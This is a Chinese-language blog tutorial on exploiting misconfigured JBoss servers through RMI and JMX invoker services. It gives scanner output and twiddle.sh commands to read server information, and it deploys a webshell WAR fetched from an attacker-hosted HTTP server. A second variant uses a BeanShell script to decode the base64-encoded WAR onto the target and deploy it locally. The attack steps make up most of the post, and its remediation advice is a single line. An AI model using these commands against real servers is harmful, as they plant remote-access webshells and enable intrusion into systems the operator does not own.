JBoss遠程方法調用漏洞利用詳解


早上起床打開微博看到空虛浪子心大神發的一篇有關Jboss漏洞的文章,對我等菜鳥來說那邊文章看起來還是很吃力的,所以查了查國內外的資料,翻譯寫了這邊文章,記錄一下。

在JBoss服務器上部署web應用程序,有很多不同的方式,諸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等。

本文主要是關於RMI遠程方法調用漏洞的,其它幾種部署方式比如JMX Console,也是會有漏洞的,主要看JBoss服務器的配置是否正確嚴謹。之前也有一篇關於JMX Console漏洞利用的。有興趣可以在本站搜索一下,言歸正傳:

Metasploit有很多的模塊針對不同的JBOSS漏洞,其中有 jboss_vulnscan模塊,路徑為:auxiliary/scanner/http/jboss_vulnscan, 通過該模塊可以進行JBoss服務器漏洞掃描,可以探測是否有開放4444,1098,1099端口。當然也可以使用Nmap批量掃描某個網段是否有開放1099,1098或4444端口。如下:

?
1
2
3
4
5
6
7
8
9
[+] 192.168.0.35:443 /invoker/JMXInvokerServlet does not require authentication (200)
  
[*] 192.168.0.35:443 Checking services...
  
[*] 192.168.0.35:443 Naming Service tcp/1098: open
  
[*] 192.168.0.35:443 Naming Service tcp/1099: open
  
[*] 192.168.0.35:443 RMI invoker tcp/4444: open

可以看到RMI默認端口4444是開啟的,JNDI(Java Naming and Directory Interface)默認端口也是1098,1099也是開啟的。有關JNDI的解釋可以百度。

為了和遠程目標JBoss服務器進行交互,需要在本地安裝Jboss AS(如:JBoss – 4.2.3.GA ),使用其中bin目錄下的twiddle和Jboss進行交互,在linux下使用用twiddle.sh,在windows下使用twiddle.bat,如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sh jboss-4.2.3.GA /bin/twiddle .sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] < command > [command_arguments]
options:
  -h, --help                   Show this help message
  --help-commands          Show a list of commands
-H=< command >                 Show command specific help
-c= command .properties            Specify the command .properties file to use
-D<name>[=<value>]               Set a system property
--                               Stop procession options
-s, --server=<url>               The JNDI URL of the remote server
-a, --adapter=<name>             The JNDI name of the RMI adapter to user
-u, --user=<name>                Specify the username for authentication
-p, --password=<name>            Specify the password for authentication
-q, --quiet                      Be somewhat more quiet

獲取遠程目標JBoss服務器的系統信息,用如下命令:

?
1
2
3
4
5
root@bt: /pentest/web/jboss/jboss-4 .2.1.GA /bin # ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo"
HostAddress=192.168.0.35
......
JavaVersion=1.5.0_13
MaxMemory=266600448

為了獲取更高的權限,可以給JBoss服務器部署我們的webshell,創建一個war文件,可以使用Myeclipse來構建一個包含webshell的war,方法如下:

1、打開Myeclipse新建Web項目
2、把jsp放到WebRoot目錄下
3、導出項目為war文件

JBoss遠程方法調用漏洞利用詳解 - 第1張  | 阿德馬Web安全

構建好包含webshell的war之后,可以使用twiddle將該war部署的目標jboss服務器上,首先需要將war放到一個web服務器,可以使用twistd快速搭建一個web,如下:

?
1
2
3
4
5
root@bt: /pentest/web/jboss/fns # ls
  
getshell.war
  
root@bt: /pentest/web/jboss/fns # twistd -n --path=. --port=80

部署war到Jboss服務器,命令如下:

?
1
root@bt: /pentest/web/jboss/jboss-4 .2.1.GA /bin # ./twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/getshell.war

執行之后就會在jboss服務器上部署好我們的webshell,路徑為:

http://192.168.0.35/getshell/customize.jsp
以上是一個使用RMI遠程方法調用漏洞入侵Jboss服務器的過程,以上的過程也是有前提條件的,最主要的是Jboss服務器需要允許訪問遠程的HTTP服務器,否則利用RMI是沒有辦法進行部署遠程war到JBOSS服務器。

然而在很多配置中,防火牆不允許JBoss服務器對外發出連接請求,如果遇到有防火牆的這種情況,可以使用BSHDeployer在目標Jboss服務器上執行任意的Beanshell來部署webshell。

BeanShell是一種運行在JRE上的腳本語言,該語言支持常規的Java語法。可以很快寫完,並且不需要編譯,JBoss服務器中BSHDeployer可以部署BeanShell腳本,它會安裝后自動執行。具體的步驟如下:

1,按照前文提到的方法,創建好包含jspshell的shell.war;
2,用linux下的base64命令生成shell.war的base64的表示,命令如下:

?
1
root@bt:~ #base64 -w 0 shell.war>>shell.war.base64

3,創建beanshell腳本,創建一個txt文檔,無需任何換行符,保存以下內容到該txt:

?
1
import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val= "shell.war的base64表示" ; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream( "/temp/shell.war" ); fs,write(byteval); fs.close();

其中val變量中是shell.war文件的base64表示,如果目標Jboss服務器是windows的話目錄修改如:C:\WINDOWS\TEMP\shell.war,將txt重命名為:.bsh文件

4,使用前文中的bin/twiddle.sh工具將本地.bsh文件創建到遠程jboss服務器上,命令如下:

?
1
$ . /jboss-4 .2.3.GA /bin/twiddle .sh -s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat deployer.bsh‘" deployer.bsh

該命令執行完成之后會在遠程Jboss服務器生成shell.war,目錄為/temp/shell.war

5,然后繼續使用twiddle.sh將Jboss服務器上的shell.war進行部署,命令如下:

?
1
$ . /jboss-4 .2.3.GA /bin/twiddle .sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "/temp/shell.war"

目標Jboss服務器為windows的話命令如下:

?
1
$. /jboss-4 .2.3.GA /bin/twiddle .sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "file:C:/WINDOWS/TEMP/shell.war"

這樣就會就會將shell.war部署在目標jboss服務器上,其中有我們的jspshell,接下來你們懂的!

Jboss遠程方法調用漏洞修復建議引用空虛浪子心大嬸的文章內容:

把invoker刪除了,再把1099關閉就好。

PS:本文由阿德馬童鞋翻譯查找總結,轉載請注明出處,TKS!有部分不准確的地方也歡迎拍磚。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM